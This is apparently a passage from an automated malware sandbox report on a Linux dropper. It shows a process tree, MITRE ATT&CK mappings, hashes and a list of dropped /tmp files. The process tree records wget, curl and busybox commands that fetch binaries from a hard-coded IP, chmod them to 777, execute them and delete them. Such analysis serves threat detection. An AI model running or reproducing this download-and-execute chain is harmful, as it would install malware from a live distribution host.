  ./b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - Executes dropped EXE
  PID:1651
- /bin/rm
  rm b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:1652
- /usr/bin/wget
  wget http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:1653
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - Writes file to tmp directory
  PID:1654
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:1655
- /bin/chmod
  chmod 777 V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - File and Directory Permissions Modification
  PID:1656
- /tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  ./V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - Executes dropped EXE
  PID:1657
- /bin/rm
  rm V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:1658

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem

Path /tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem	1494	b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
/tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj	1500	V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
/tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i	1507	Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
/tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F	1513	BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
/tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E	1519	HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
/tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV	1525	R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
/tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby	1531	NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
/tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA	1537	LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
/tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D	1543	yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
/tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif	1549	5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
/tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb	1555	GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
/tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe	1561	pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
/tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK	1567	4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
/tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68	1573	NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
/tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i	1579	Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
/tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F	1585	BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
/tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E	1591	HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
/tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV	1597	R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
/tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby	1603	NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
/tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA	1609	LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
/tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D	1615	yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
/tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif	1621	5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
/tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb	1627	GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
/tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe	1633	pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
/tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK	1639	4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
/tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68	1645	NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
/tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem	1651	b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
/tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj	1657	V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj